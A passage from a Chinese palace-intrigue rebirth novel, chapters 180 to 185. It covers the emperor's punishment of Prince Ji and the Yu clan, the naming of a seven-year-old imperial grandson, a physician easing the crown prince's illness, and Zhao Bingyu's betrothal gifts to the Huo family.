瞬间,他感觉皇上老了很多。
“皇上,您一定要保重。臣这就叫太医来给您看看。”赵炳煜担忧道。
“不必了,朕已经预想到这个结果。朕还以为是老大干的,没想到是老二最先沉不住气。愚蠢啊!朕怎么就生出这么蠢笨的儿子?”
这话赵炳煜当耳边风。
“你没查出辰王也参一脚?”乾德帝又问。
第180章 对于家的处罚
“目前还没查出端倪。他身边有个叫曾永信的幕僚,有些本事,做事滴水不漏。但臣怀疑当时刺杀凌哲世子的人就是辰王安排的,可惜没抓到。”赵炳煜有些懊恼。
当时他急着找霍凝玉,把此事给耽误了,给了辰王善后的时间。
现在霁王已不成气候,太子又受了伤,寿命比之前更短。
整个朝堂又要变了。
赵炳煜也生起几分自责,但重来一次,他还是会选择先找到霍凝玉。
“哎,朕今年这避暑,看来是待不长了。还是早些回去吧。”
赵炳煜能想到的,乾德帝自然也能想到。
八月初一,堪堪只待了一个月的华云山又热闹起来,各家开始收拾东西,准备回京。
赵炳煜那日只与霍凝玉匆匆说了几句话就提前回京了。
还有很多事等着他。
当霍家人回到霍府时,天已完全黑了下来。
霍鸣羡两兄弟和萧婉仪三人早就等在门口。
霍凝玉一下马车就看到大哥扶着大嫂迎上来。
“大嫂,你身子不舒服吗?”霍凝玉看出异样来。
容华芝也注意到大儿子的不正常举动。
“是啊,是不是身子不舒服?”容华芝说着,牵了萧婉仪的手,想看看她是不是手冰,来月事了。
“夫人,大喜事,公主有孕了。今日刚刚诊出来的。”丫鬟紫姝笑着抢答。
“真的,太好了。”容华芝听到这个消息,笑得见牙不见眼。
“大嫂,是真的吗?”霍凝玉也高兴不已。
这才刚娶回家一个月零三天,这是撞门喜啊。
“时日尚浅,大夫只是说可能,还得再过些日子才能确定。“萧婉仪脸上挂着幸福的笑容。
大夫是她从东临带过来的,医术一流,母妃特意给她物色的人才,其实基本可以确定。
“那肯定是真的。”霍凝玉坚信。
“夫君,我们要有孙子了。“容华芝激动得想要炫耀。
此时她想起了霍凝玉说的,前世那个孙子,病死在牢里。
想到那个场景,她的心莫名一痛。这个孙子一定会好好的。
“嗯,时日还短,先不要说出去。”霍鹏程压下激动的心情。
他也想到了女儿所说,但脸上的笑容不减。
一切都变了,这个孙子是投生在东临六公主肚子里,怎么可能有事,就算他犯下大错,看在东临皇室血脉的份上,孙子也不会有事。
乾德帝提前回朝,一切事情提上日程。
这些日子,赵炳煜把所有人犯都审了一遍,基本与第一天审的结果差不多。
那些被于家培养的死士的身份也被调查清楚,全是于家早些年从各地的失亲院里带走的孤儿,被他们培养成死士。
自从于贤妃生了皇子起,于家就开始为她打算。
元后没有嫡子,继后家世不显,这两个条件让他们生出了不该有的野心。
霁王好武,行事不够缜密,又加上于家想早些揽权,于贤妃也过够了在一个不如自己的皇后面前伏低做小的日子。
皇帝已年迈,没几年可活。
几相加持,让霁王和于家做出了全力一博之举。
先杀了太子,再引刺客给皇帝一个重创,让他不能理政。
同时把辰王也解决更好。
而于家人兵权在手,又有多方朝臣支持,并不输辰王。
况且辰王的外祖家虽是国公府,但已经没有武将人才。
辰王妃的娘家是定远侯,但也是弃武从文了,早就失了先祖的能耐。
只有他们于家一直没丢下兵权,胜算很大。
“镇北侯的野心昭然若揭,于玄铭手握两万京畿营兵马,那日要不是钟离洛动作够快,没让他出城,或许他已经举兵**。
如此狼子野心,朕看在老二的面子上,一直容忍他们。没想到却养出一头白眼狼。”乾德帝看完赵炳煜提交的卷宗,发出深深的感叹。
“哎,还是朕的错,本想让霁王与辰王形成对抗之势,让朝堂安稳,不能一家独大。
还是朕太过天真了,以为他们相抗也就罢了,却还不放过太子,也不放过朕。
既然如此,朕也不必顾念亲情。
镇北侯斩立绝,于玄铭重打八十板再流放,能不能活就看他自己的命,其他人都流放到北地修筑城墙。
至于与于家牵连的人家,就按律来判吧。”乾德帝心里作出权衡。
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他并不是弑杀之人,也不想在自己年迈之际造太多杀孽。
世人都说皇帝是真龙天子,实际和普通人有什么两样,最终还不是个死。
这一点,他看得分明。不过是有了管理万民的权利罢了,实际劳心劳力。
“是。”赵炳煜轻应。
“炳煜,随朕去一趟霁王府吧。”乾德帝对霁王的父子之情不是假的。
孩子小的时候,他一有空就去贤妃宫里坐坐,看着孩子可爱的模样,叫他父皇,听在心里暖暖的。
都说天家无情,而他对每个孩子不说都一样,但至少都有疼爱过。
每次后宫有了新生命,他都欣喜不已。他生了六个皇子五个公主,每个他都抱过。
孩子大了,他安排先生教导,从没薄待哪个孩子。
哎,皇权,每个皇子都想要,却不知道皇权把人压得喘不过气来。
防臣子有不臣之心,防儿子有弑父之心,防兄弟有篡位之心。
怎一个累字可以形容。
乾德帝带着赵炳煜来到霁王府。
禁卫军一直围府,除了日常采买,其他人不得出入。
“父皇,儿臣终于见到您了。父皇,儿臣知道错了。”霁王一见到乾德帝,立刻跪下,又是求饶又是叩头。
乾德帝径直走到主位坐下。
霁王又膝行到乾德帝面前。
霁王妃领着自己生的一儿一女也跪到乾德帝面前。
“皇祖父,孙儿好想您,您送给孙儿的小欢,孙儿一直照顾得很好,已经会说话了。”霁王嫡子赵凌奕仰起小脸,望着乾德帝,孺慕之情浮现在眼里。
他和赵凌哲一样大,什么事都懂了。遭逢巨变,他收起平时的骄傲,想唤起乾德帝对他的亲情。
但乾德帝不为所动。
一眼就看出是有人教的,机灵劲不如东宫世子。
“父皇,儿臣知道错了,儿臣罪该万死,求父皇饶了儿臣的孩子。他们还小,什么都不知道。王妃她对儿臣所做之事,也全然不知。还请父皇也放她一条生路,让她把孩子养大。”霁王护犊之意表现得真心实意。
“老二,你可知,你对你的孩子是什么心情,朕当年对你就是什么心情?”
第181章 对霁王的处罚
乾德帝被他的话勾起了对孩子小时候的回忆,也对霁王为孩子求情这点满意。他还没到无可救药的程度。
如果霁王连护犊之心都没有,那他就要重新考虑了。
“父皇,是儿臣辜负了您。”霁王垂下头。
“父皇,是儿媳没劝导好王爷,让他犯下大错,求父皇放过孩子们,儿媳愿陪着王爷一起受罚。”霁王妃作为一个母亲,好舍不得孩子。
可是这么大的事,父皇不会轻易饶恕。
“皇祖父,不要杀父王,我不想做没爹的孩子。”霁王府的大郡主哭求道。
就在这时,两个侧妃也带着孩子进来,跪到乾德帝面前。
一时间,几个孩子哭成一片。
乾德帝看着自己的几个孙子孙女,心里越发难受。
“老二留下,其他都退下。”乾德帝挥了挥手。
赵炳煜让人把其他人都带出去。
“老二,你与朕说实话,是不是于家撺掇你的?”乾德帝对这个儿子还有几分了解的,聪明不足,野心也不足,单凭他自己的想法不足以搞这么大。
“父皇,儿臣......儿臣知道您想说什么。母妃生养儿臣,把希望全都寄托在儿臣身上。
镇北侯府为我南楚打江山,守江山,功不可没,他们不想成为被藏起的弓。
所以才尽心尽力辅佐儿臣,希望儿臣能给他们匹配的地位。”霁王嗫嚅着说道。
“你果然还是太蠢。”
“父皇,儿臣不想死,儿臣知道于家的目的,可是如果儿臣不拼死一搏,儿臣就会死在大皇兄手里。”霁王突然扑过来抱住乾德帝的腿,一个大男人,哭得像个孩子。
“你这话什么意思?”赵炳煜一惊,插话问道。
“父皇,儿臣曾做过一个梦,梦里您立了大皇兄为太子。
他登基后却不容儿臣,逼得儿臣不得不带着于家人**,最终我们都**,您的几个孙子孙女大皇兄一个都不放过。
儿臣怕,怕那一天的到来,所以儿臣不得不先下手为强。
儿臣想与大皇兄一争高下,儿臣并没想弑父,而是希望您能早点定下太子之位。
太子的身子一直拖着,让您迟迟不定,而大皇兄的势力越来越大,儿臣知道自己没他聪明,只能出此下策。儿臣错了,求父皇宽恕。”霁王一边哭一边说。
那个梦太过真实,让他现在回想起来,也后怕不已。
大皇兄真的做得出来。
他根本不是一个心胸宽广之人,就会玩阴的。
他书读得没大皇兄好,脑子没他转得快,小时候还在宫里时,经常在他面前吃亏。
赵炳煜听了他的话,心里一震。
他说的确实是前世凝玉所见。
难怪他会兵行险招,原来他这么早就梦见辰王会对他下手,所以早早为自己博一博,反而能保下一命。
犯在皇伯父手里,自是比犯在辰王手里更有活命的机会。
乾德帝听得怔住,因为一个梦就敢如此大胆。
“真是荒唐。”乾德帝踢了他一脚,把人踢得仰倒在地。
“太子因你折了寿,你犯下大错,朕不要你的命。
但这京城你也别想待了,离开京城吧。
从今日开始,你已不是南楚的霁王爷,只是赵氏最普通的一名子弟,带着你的妻儿去北城,没有封地,没有爵位,明日就收拾东西走吧。
不得带走一个仆人,以后的生活只能靠你们自己。
如若再敢犯错,朕绝不轻饶,走之前去东宫向你太子皇弟叩头认错。”乾德帝说出对霁王的处罚。
这是他的孩子,他看着长大的孩子,他做不到杀子,只能夺了他的富贵,让他过一个平民的生活,希望他好自为之。
“多谢父皇不杀之恩,儿臣一定老老实实在北城待着。并随时留意北魏的动向。”霁王真心实意叩了一个头。
父皇没有圈禁他,太好了。
他一直猜测父皇会圈禁他一辈子。
父皇是疼爱他的。
乾德帝起身,甩袖而去。
回宫的路上,赵炳煜被他叫上马车。
“你对朕如此处理,可有什么想法?”乾德帝见赵炳煜自括了那句话后就有
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些神思不属。
“皇伯父仁君之名必能传天下。皇伯父,霁王刚才说他做了一个梦。而那个梦应该是真实的。”赵炳煜郑重道。
“什么?”乾德帝吃惊问道,“你是说凝玉也梦见过?”
“是的,前不久她告诉侄儿的,也就是未来如果辰王登顶,霁王就会迎来杀身之祸。”赵炳煜不介意现在就给辰王在皇伯父面前上上眼药。
乾德帝脸色瞬间凝重。
“凝玉还做了一个梦,她说明年与北魏相接的三个城会有大旱灾,霁王正好被您贬去北城,他们一家过去,可能会引得百姓攻击。”赵炳煜继续道。
“此话当真?”乾德帝凝重的脸色更加难看,“你觉得凝玉的梦有几分真?”
他还想抱一丝希望。
“十有**。她告诉侄儿的每件事都成了真,包括华云山上的地道也是她梦见的。
那个地道,她没有提前告诉侄儿,或许她刚刚梦见,还没来得及告诉侄儿,就已发生刺杀事件。
在紧急关头,她只想到要救凌哲,为皇家保下一丝血脉。”赵炳煜又趁机在乾德帝面前为凝玉邀功。
心里有点吃味,凝玉怎么没有提前告诉他,华云山有地道的事。
不过这个想法只是一瞬,或许她也没想到吧。在紧要关头才想到要利用那个地道逃生。
“霍家凝玉对我皇室有大功。前前后后做了多少好事,朕都记得。
许你的好处不会少了你的,你拿着去做聘礼,既然朕封了她为县主,朕会让皇后给她准备添妆,就当朕给她的嫁妆。
老二和于家的事处理完,你就腾出时间把华云山上的宝库搬回来吧。”想到那个前朝宝库,乾德帝的心情好了不少。
南楚虽富裕,那是相对西凉北魏,百姓生活远远没达到他所理想的那般好。
食不果腹者有之,卖儿卖女者有之。
年年都有天灾,年年都有战争。
各处都需银钱,国库从来没有丰余过。
“全部入您的私库吗?”赵炳煜故意如此问,那可不是一笔小数目。
第182章 封皇太孙
乾德帝瞪了他一眼,这小子,故意试探他呢。
“一半入国库,一半入朕的私库,凝玉提出的养一万精锐之师的事,就从朕的私库里出,朕定要培养出一支让西凉和北魏都闻风丧胆的虎狼之师。”乾德帝说到最后,气势高昂。
他希望在有生之年能看到那一天的到来,他要好好活着。
“还有你说的明年会有旱灾之事,毕竟还没有发生。
朕不可能用一个梦做借口,就大肆购粮,引起一些商家的注意,让他们故意抬高粮价,引得百姓恐慌。
朕找霍尚书商量一下如何做更合适。是他女儿给的预警,他应该信自己的女儿。”乾德帝想到这事找霍鹏程最合适。
“如果到时真发生旱灾,您打算派谁去赈灾?”
“派老三去吧,他想当个闲散王爷,也要看朕答不答应,老二不在京中,朕就少了一个帮手,除了老大老二和太子,朕还有三个儿子可以用。”乾德帝还想故计重施,再扶一个起来与辰王抗衡。
“皇伯父,侄儿建议您最好不要这么做。到时可能您还会再失去一个儿子在膝下。”赵炳煜不赞同这种做法。
这样会陷入无休止的循环。
“哦?你觉得如何做更合适?”
“直接封凌哲为皇太孙,断了辰王的梦。”赵炳煜也不怕在乾德帝面前说这种话。
他想逼辰王,只有让他看不到希望,他才会铤而走险。
“你是想让凌哲也折进去吗?霁王都不是辰王的对手,更别说凌哲,他才七岁。
太子根本护不住他,太子妃的父亲不过是翰林院学士,虽有些权势,但那只是在朝堂上,手里根本没武力。
辰王养了多少护卫,私下还有多少人,连朕都不知道,而且还养了几个幕僚。
如果辰王来阴的,凌哲没有半点活路。
这一次刺杀,你我都怀疑辰王参与了,但直到现在你也没查出他到底有没有动手。当时的混乱,人数众多,他混几个人进去,再悄悄撤走,你能发现?”乾德帝不赞同把赵凌哲置于危险之中。
儿子大了,有心思,他想管也管不了。
他也是那么过来的。当年他的父皇也同样诸多无奈,现在轮到他。
“皇伯父,凌哲虽只有七岁,但因其父王身子弱,比同龄孩子都懂事。
以前,太子妃把他护得太好,怕他有个万一。自去年落水后,太子妃才明白孩子需要经历一些事才会成长。
您看,这才短短一年时间,凌哲就成长了多少。”赵炳煜劝道。
乾德帝陷入沉思。
八月初六早朝,乾德帝亲自宣布对霁王和于家的处罚。
一场皇帝以身入局诱敌的计划就此落下帷幕。
辰王回到王府,心里喜不自胜,他听了曾先生的意见,没有如老二那般作死,真是太明智了。
老二都没用他对付,自己就把自己作成了平民百姓,以后再也不会和他争斗。
太子还因此寿命更短。
“曾先生,现在没有霁王与本王作对,太子眼看也快不行了,父皇会不会直接废太子,立本王为太子?”辰王兴奋的脸上得笑怎么也掩不住。
“王爷,您还有三位皇弟,东宫还有世子,不可掉以轻心。”曾永信一瓢冷水适时浇下。
果然,第二日早朝,乾德帝就把三位皇子全都做了政务调整。
四皇子赵昀峥被安排进户部管户籍。
五皇子赵昀嵘被安排进兵部管兵器制造。
就连刚成亲的六皇子赵昀卿也被安排进礼部历练。
之前几位皇子都做些闲散的职务,而这次的调整,全都手握实权。
被赋闲多日的辰王也被乾德帝安排了职务,进礼部,负责科考教育。
辰王的心情瞬间一落千丈。
只得打起精神继续筹谋。
让他更想不到的是,第三日,乾德帝又在早朝上下了一道震惊朝野的圣旨。
直接封东宫世子赵凌哲为皇太孙,任霍鹏程为太孙少傅,任赵壑为太孙少保。
霍鹏程还有些懵,皇上没有提前与他说,就直接任命了。
赵壑任少保,其实就是负责赵凌哲的安全,还要监督他习武。
两人,一文一武,全权负责教导皇太孙殿下。
当然,两个都是兼职,正常工作也不能耽误。
辰王被气得闷在书房一整天,到
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了晚上才找来幕僚商量接下来的计划。
霁王于八月初八收拾好东西离开了京城。
乾德帝并没有抄没霁王府的家产,允许他带走。
因为乾德帝信了霍凝玉的梦,明年北城有旱灾,他要看看这个儿子的心里是否有百姓。
如果他还能做到一个皇子该有的本分,还有救。
他还想给这个儿子一个机会。
当霍凝玉得知霁王出京的消息,心里感叹一句:他也活了。
前世辰王登基,第一件事就是逼霁王,把人逼反,再以**之名,杀了他,霁王府男女老少,一个不留。
而现在,霁王被贬出京,以后只要不犯大事,就不会死。
她又改变了霁王一家人的命运。
同时赵凌哲也被推上了风口浪尖,她又为赵凌哲担心起来。
“妹妹,你怎么了?”萧婉仪见她心不在焉,手里拿着针线,半天不动一下。
被她一惊,霍凝玉把针戳到了手指上。
她想给未出世的侄儿提前绣几个肚兜,南楚的夏天热,小孩子到了夏天只穿个肚兜就可以了。
小侄子明年出生时正是夏天最热的时候。
“看你,这么不小心,是不是在想未来妹夫?”萧婉仪打趣道。
“大嫂就会取笑我,哪有。”两人昨晚才见过面。
他要去华云山,问她要不要一起去。
霍凝玉拒绝了,那些东西又不能进她的私库,再去看也没意思。反而引得她起贪欲,还是不看为好。
“娘这些日子,忙着给你准备嫁妆,我说想帮忙,她又不让,要不你去帮一下?”萧婉仪明显看出她心不在焉。
“好。”霍凝玉点头。
京城最近发生太多事,让她静不下心来。
她担心赵凌哲,也担心父亲,她怕辰王被逼急了,做出更多她无法预料的事。
前世的很多事都变了,未来会如何,她真不知道。
此时她已经没有先知的优势。
而就在这时,赵凌哲匆匆而来。
“霍姐姐,呜呜......”一看到霍凝玉,他就伤心地哭泣起来。
“这是怎么了?有人欺负你了吗?”
第183章 洪大夫有办法
“霍姐姐,我父王今日又晕过去了。”赵凌哲找不到人说心里话,他最亲近的人只有霍凝玉,所以就跑来霍府。
母妃每日因父王的病,已经操碎了心,他从不敢在母妃面前表现脆弱,反而更坚强,让母妃放心,只管照顾好父王。
可是他心里实在太难受。
霍凝玉也没办法,只能把他轻轻拥进怀里,让他哭一哭,不然会闷坏的。
这孩子,最近越来越懂事了,也就在她面前还能放开些。
父亲深有体会,最近给他上课,他都听得特别认真。
父亲对他大加赞赏,这么小就收起玩性,专心好学,实属难得。
“妹妹,我从东临带来的大夫,有些本事,要不你带去东宫给太子看看,或许能有些用处。”萧婉仪见赵凌哲哭得这么伤心,心里也跟着难过。
她也要做母亲了,很自然对孩子生出怜爱之情。
“多谢大嫂。”霍凝玉并不知道那大夫医术到底有多好。
“多谢表姑母。”赵凌哲深施一礼,心里生起一丝希望。
萧婉仪让丫鬟紫姝去把人叫来。
是个中年男子,四十岁左右,跟着萧婉仪来了霍家,但并没有住在霍府。
萧婉仪是公主,带来的人比较多,护卫就有二十个,还有十个宫女,两个教养嬷嬷,一个大夫,一个医女。
霍家在霍府后街特意买了一个三进的院子,专给她带来的人住。
“见过公主。”大夫深施一礼。
“洪大夫,不必多礼,这是南楚的皇太孙殿下。”萧婉仪介绍。
“见过殿下。”洪大夫又一礼。
“南楚太子病重,你随太孙殿下去东宫给太子看看,尽力就好,不必多想。”萧婉仪吩咐道。
“公主......”洪大夫有些犹豫,可看到公主认真的样子,想了想又应下。
“是。”
出发前,嫣妃娘娘特意交代他们这些跟来的人,不要参与南楚的皇权之争,他们是和亲使者,不管谁做了皇帝他们都不会有事,但自己找事就另当别论了。
可公主嫁进了霍家,霍大人现在是太孙殿下的先生,怎么也避不过。
赵凌哲带着两人回东宫。
太子妃顾佳仪正在找他,都快到午膳时间了,还以为孩子在书房读书,结果一问,说是出府去了。
“母妃。”她正着急,就听孩子的叫声。
“你去哪儿了?让母妃好找。”太子妃看到儿子安好,才放下心来。
现在儿子是太孙,更是让她担心,幸好赵大人给安排了几个武功更加高强的护卫,不管孩子走到哪儿都跟着。
“见过太子妃。”霍凝玉上前施礼。
“凝玉来了?哲儿是不是跑霍府找你去了?”太子妃一看就猜到。
“是啊,他说读书累了,想放松一下。太子妃,这是我大嫂从东临带来的大夫,医术不错。我带来给太子殿下看看,希望有所帮助。”霍凝玉说明来意。
“见过太子妃娘娘。”洪大夫见礼。
给太子看诊,不是谁都可以看的,乾德帝给太子安排了专门的太医,每日都会来东宫看诊一次。
“是表妹带来的,那一定医术不错。”太子妃眼神明亮了两分,带着希冀。
几人来到太子寝宫,看到太子脸色苍白,呼吸粗重,好似下一刻就再无法呼吸一般。
人是睡着的,可眉头却深深锁起,明显有痛苦之色。
就是睡着,也不安稳。
“大夫,请。”太子妃主动把太子的手轻轻放到床沿。
她的动作惊扰了太子。
太子慢慢睁开眼,他本就睡得不熟。
“殿下,哲儿去霍家请了表妹带来的大夫回来给你看诊。”太子妃温声解释道。
“佳仪,孤拖累你了。”太子深感愧疚。
不能陪她到老,还要留下他们孤儿寡母面对豺狼虎豹。
可是他真的无能为力。
“太子说的什么话。你好好听大夫的,按时吃药,一定能好起来的。”太子妃安慰,可眼里的湿意,怎么也控制不住。
“父王,表姑母说,洪大夫医术很好,您先让他看看。”赵凌哲祈求地趴到床边,眼含泪水。
“好,哲儿的心意,父王怎么舍得拒绝?咳咳......”太子咳嗽着伸手摸了摸孩子的头。
洪大夫把上脉,两手轮换着都诊了诊,又看了看太子伤处。
第
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一次伤的地方,已是老疤,第二次伤的地方,脱了痂,留下粉嫩的疤。
“怎么样?”太子妃迫不及待问道。
“太子殿下厥疾,在于肺络,呼吸之气,供应不上头脑所需。
一左一右,迭次两伤。肺为娇脏,主司呼吸,今两伤之下,呼吸之道必艰。
更兼水饮内停,悬聚于胸,气息难舒。在下窃思一法,或可暂通其气,缓其困厄。”洪大夫一躬身,慢慢道来。
“洪大夫,快说,你有何法?”赵凌哲急道。
一听可缓解父王的病症,他就等不及。
“在下可用一法引出肺中之水。”
太子妃和霍凝玉听了都一愣,这要怎么引出?
“大夫,对太子身子可有影响?”太子妃担忧问道。
“稍有一点,但不严重。”洪大夫一拱手。
“大夫,可以试。”太子自己点头同意。
呼吸不畅的感觉实在太过难受。
洪大夫让准备了温水,开水和烈酒。
洗干净自己的双手,又把太子的衣服撩起,把他的身上也仔细擦了擦。
他又打开自己的针包,用烈酒把一根最粗的银针擦了擦。
“太子殿下,在下这根针是通针,可刺入体内,引出废液。”洪大夫解释道。
“什么?”太子妃看着那根银针,吓了一跳,那么粗,要刺进身体,那得多疼,“不可以。”
“佳仪,让大夫试试,孤不怕。”太子博览群书,好像看到过东临有大夫学得此术,南楚还没有大夫敢如此做。
“殿下,那得多疼啊。而且有没有用,还未可知,要不先请示父皇再做决定?”太子妃很害怕。
要是一个不好,太子就此去了,她要怎么活,父皇更不会饶了她。
“不用,孤这身子,本朝太医已经尽力,最多还能活三四个月,表妹不会害孤。东临的医术确实比我南楚的好些。”太子不想惊动太多人,不然会引来各种麻烦。
反而让大夫不敢动手。
就算大夫的医治作用不大,但也不会加重病情,他已经听懂洪大夫的法子。
“太子......”太子妃握住太子的手,眼里的心疼不言而喻。
第184章 下聘了
“大夫,动手吧。”太子推开太子妃。
洪大夫在太子的胸口和腹部摸了摸,找准位置开始下针。
太子很配合。
刚刚刺入的瞬间,一股疼痛之感传来,但太子忍得住。
后面反而不怎么疼。
就在这时,一颗血珠从针顶冒出,接着一滴又一滴从针顶溢出。
速度越来越快,最后竟成断线的珠子往地上滴。
虽是红色,但并不像浓稠的血液。而是带着血色的水样液体。
太子妃见太子脸色没什么变化,才把提着的心放下。
霍凝玉一直把赵凌哲揽在怀里。
两人眼睛都一眨不眨看着太子的反应。
直到再无血水流出,洪大夫才收了针。
地上滴了好大一滩血水。
“太子殿下,可有什么感觉?”洪大夫温声问道。
“感觉胸口没那么闷了。”太子又深呼吸了两下,感觉比之前稍显轻松,“效果确实明显。”
“殿下,此法治标不治本,只是减轻您的痛苦,还需辅以药物和针灸。但因伤得比较严重,老伤时间已久,想要痊愈,确实困难。”洪大夫惭愧道。
太子当年应该伤得很重,不然也不会发展到今天这个地步,二次受伤,更是雪上加霜。
“大夫,孤还能活多久。”太子艰难地问出这句话。
“这个......”洪大夫不好回答,这个问题实在太过残忍。
“孤要听实话。”太子很执着,尽管心里已经有数。
洪大夫还是犹豫。
“大夫,孤的身子,孤知道,太医已经给孤预算过,最多还有四个月,只是今日你给孤诊治,让孤看到了一丝希望,所以才有此一问。”
“如果按在下的方法治疗,或可再活一年。”洪大夫还是残忍地说出他的估算。
结果他的话音一落,太子妃又哭又笑起来。
“殿下!”太子妃激动地轻唤。
“父王!”赵凌哲也高兴地唤了一声,“霍姐姐,你听到了吗?父王能活一年。洪大夫,谢谢你。”
赵凌哲向洪大夫深深一鞠躬。
“太孙殿下客气。”洪大夫立刻还礼。
太子也露出温柔的笑意,他又可以多陪陪佳仪和哲儿了。
他知道,只要他活着,这个家才是完整的,他会努力多活些时间。
他想看着孩子一点点在他眼前长高,长大。
当乾德帝知道这个消息后,赏下不少好东西到霍府,一份给萧婉仪,一份给洪大夫。
今年的八月十五,乾德帝没再让皇后举办宫宴。
一件件糟心事让乾德帝没了那份爱热闹的心情,只让几个儿子进宫陪他吃了顿饭就算过节了。
当赵炳煜把一箱箱财宝从华云山运回来,乾德帝才终于有了点笑模样。
朝臣们这才知道乾德帝在华云山发现了前朝留下的宝库。
经清点,入国库的金银折合银子八百万两。
非金银的东西,乾德帝全部收入私库。
有朝臣提出异议,赵炳煜一句话就把那些人给堵得死死的。
“皇上的私库表面上是皇上花了,但他都花在什么地方,你们心里没有数吗?他自己能一个人吃吗?”赵炳煜的这句话让整个朝堂鸦雀无声。
乾德帝的后宫早就没有进新人,妃子也不多。
他的私库大多都是奖赏给有功之臣,或者各家要办喜,皇后给的礼,那都是皇帝的私库出的。
“朕之所以能发现华云山前朝的宝库,最大的功臣当数霍尚书家的大小姐,昭勇县主。
那日刺客横行,她不顾自身危险,冲进战场把太孙救走,又遇追杀,他们情急之下躲进一处地方,正好触动了机关,打开了一条地道的入口,躲进去,几人才逃得一命。
后来他们出来后,就带朕下去看,朕才发现里面藏有金银,这是天佑我南楚。
昭勇县主于我南楚是福星,数次立下大功。
今日在此,朕封她为昭勇郡主,享万亩食邑。再赏珠宝一箱,黄金一箱。”
朝臣没有一人有异议。
九月二十八,赵炳煜终于准备好了聘礼。
他自己换上一身亲王正装,英姿勃发,带着长长的聘礼队伍来到霍家下聘。
不带面具的他,脸上带着温润的淡淡微笑,真是俊美无双。
“煜见过岳父岳母。”赵炳煜站在霍家正堂中央,向主位上的霍鹏程夫妻深深一礼。
抬起头来时,脸上的笑容更深。
“霍大人,霍夫人,大喜啊,永安王把府里都搬空了,整整一百二十八抬聘礼,这是京中多少人家都拿不出来的聘礼,可见王爷对郡主有多喜爱,以后他们夫妻定能和和美美,甜甜蜜蜜过一生。”
官媒说着吉祥话,把长长的
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礼单交到容华芝手里。
容华芝整整看了半刻钟才看完,又递给霍鹏程看。
两夫妻看得眉开眼笑。
礼单上罗列之物,不仅数量惊人,更是样样精品,诚意十足。
好些东西,就连容华之一辈子都没见过。
其中还有两颗夜明珠,那可是稀罕物。
各种珠宝玉器,御赐之物,还有几处庄子田产房契等,更有金银压箱。
活雁一对,各种珍贵吃食,药材等就不说了。
“永安王真是客气,这实在是太厚重了。”霍鹏程抚须朗笑,眼中是掩不住的满意。
这份聘礼,即便是见惯了世面的他,也不得不惊叹其用心与珍惜,足见永安王对他女儿的重视。
“岳父岳母满意就好。”赵炳煜含笑应答。
目光却不由自主看向站在容华芝身后的霍凝玉。
四目相对,仿佛空气都变得甜蜜。
赵炳煜眼底的温润笑意更深了几分,带着不易察觉的宠溺。
霍凝玉接触到他的目光,脸颊瞬间飞上红霞,如同染了上好的胭脂,她慌忙垂下眼睫,却又忍不住再次抬眼望去,嘴角噙着一丝羞怯又甜蜜的笑意。
官媒何等眼尖,瞧见这对小儿女的情状,立刻笑着打趣:“哎哟,瞧瞧咱们王爷和郡主,这可真是天造地设的一对璧人。这还没过门呢,眼里就只剩下彼此了。”
这话引得满堂善意的哄笑,霍鹏程与容华芝对视一眼,心中更是欣慰。
繁琐的礼节过后,赵炳煜被引至小花园。
假山之后,霍凝玉早已在此等候。
“凝玉。”赵炳煜握住她的手,眼里的柔情浓到化不开。
“你怎么破费这么多?”霍凝玉有些嗔怪。
给这么多聘礼,让家里如何给她准备嫁妆嘛,难道要让父母把家底掏空?
“怎么是破费?”赵炳煜执起她的手,贴在自己胸口,让她感受他沉稳而有力的心跳。
“我要让全京城的人都知道,我赵炳煜求娶霍家小姐,是倾我所有,奉若珍宝。旁人有的,你要有,旁人没有的,你更要有。”
他的话语坚定而炽热,烫帖了霍凝玉的心。她依偎进他怀里,听着他有力的心跳,只觉得无比安心。
岁月静好,两人享受着彼此传来的温情。
“咳咳......”两人身后传来煞风景的轻咳。
第185章 父爱如山
两人立刻分开,转身看到是霍凝羡。
“大舅哥,你来得不是时候。”赵炳煜带着抱怨的语气,但脸上的笑却不减半分。
其实他的年龄比霍鸣羡还大三岁。
“还没成亲呢,注意点。”霍鸣羡故意板着脸,一副护妹的大哥模样。
“有事?”赵炳煜牵着霍凝玉的小手不放,就是要唱反调。
“父亲请你们两个去书房。”
三人来到外院书房,霍鹏程早已等在这里,且把伺候的下人都打发得远远的。
“都坐吧。”
众人落座。
“炳煜,你既已与凝玉定下亲事,眼看就要成亲,你与我霍家就是一家人。
很多事你已经知道,凝玉的特别之处,你能包容,很好。
她只是最寻常的闺阁女子,在与谢家退亲之前,从没受过挫折。
我霍家只她一个女儿,我们夫妻千宠万宠长大。
然而命运弄人,让她经历生死再回来。
我们没有经历过的人无法感同身受,但可想而知那得有多痛,所以希望你以后能多心疼她。”
霍鹏程严肃而认真地叮嘱。
“岳父请放心,我自会真心以待,绝不让她受委屈。”赵炳煜起身,郑重地一躬身。
“我霍家没有姨娘小妾庶子庶女,很多大户人家家里的那些糟心事我霍家没有,凝玉也没经历过。
如果她能为你生儿育女,我希望你的后院只她一人,如果她不能生,你再另作打算。
我知道我这个要求有些过了,但做父亲的心情你当理解。如果哪天你伤了她,请让她归家。”霍鹏程起身,向赵炳煜深深一揖。
讲身份,赵炳煜是一品亲王,受霍鹏程一礼并不为过,但这却把赵炳煜吓一跳。
“岳父这是做什么?”立刻上前把人扶住。
“爹!”霍凝玉也惊得站起,眼泪瞬间就溢满眼眶。
“岳父放一百个心,我从没想过纳妾,凝玉就是我的全部。
您知道我是皇伯父养大的,我的亲生父亲从没关心过我,我母妃又去得早。
而霍家的亲情是我最向往的,我还想您以后如疼鸣羡那般疼我。
我怎么可能会伤害凝玉?我也想有个如霍家这般一家人相亲相爱的家。”赵炳煜急急保证道。
而他的话却让霍鹏程心里生起几分对赵炳煜的怜惜。
多好的孩子,靖王却如此不待见,以后他来疼。
霍鹏程拍了拍他的肩:“一个女婿半个儿,你就是我霍鹏程的儿。”
“岳父!”赵炳煜感动万分,喉头有些发紧。
霍鹏程一直担着的心终于落进肚子里。
女婿的身份越来越高,从靖王世子到煜郡王,再到永安王。
他真担心女婿以后有了野心,会伤害到女儿。
有他今日这番话,他安心了。
虽然女儿被封为郡主,但和皇室血亲的郡主比,怎么也比不过。
几人一时沉默,都在稳定自己激动或感动的心绪。
“前两日,皇上留我在御书房议事,就是你向皇上说起的明年北地会有旱灾,我们商量一下,如何操作。”霍鹏程说起其它事,把刚才沉重的话题带开。
“父亲,妹妹说前世谢家构陷我们霍家,就是利用的****之罪。
那么我们就给他们制造机会。
儿子已经在翰林院历练半年,今年年底皇上应该会重新给儿子安排新的职务。
到时儿子请旨前去,再让忠义伯带兵支援押送物资。”霍鸣羡提议。
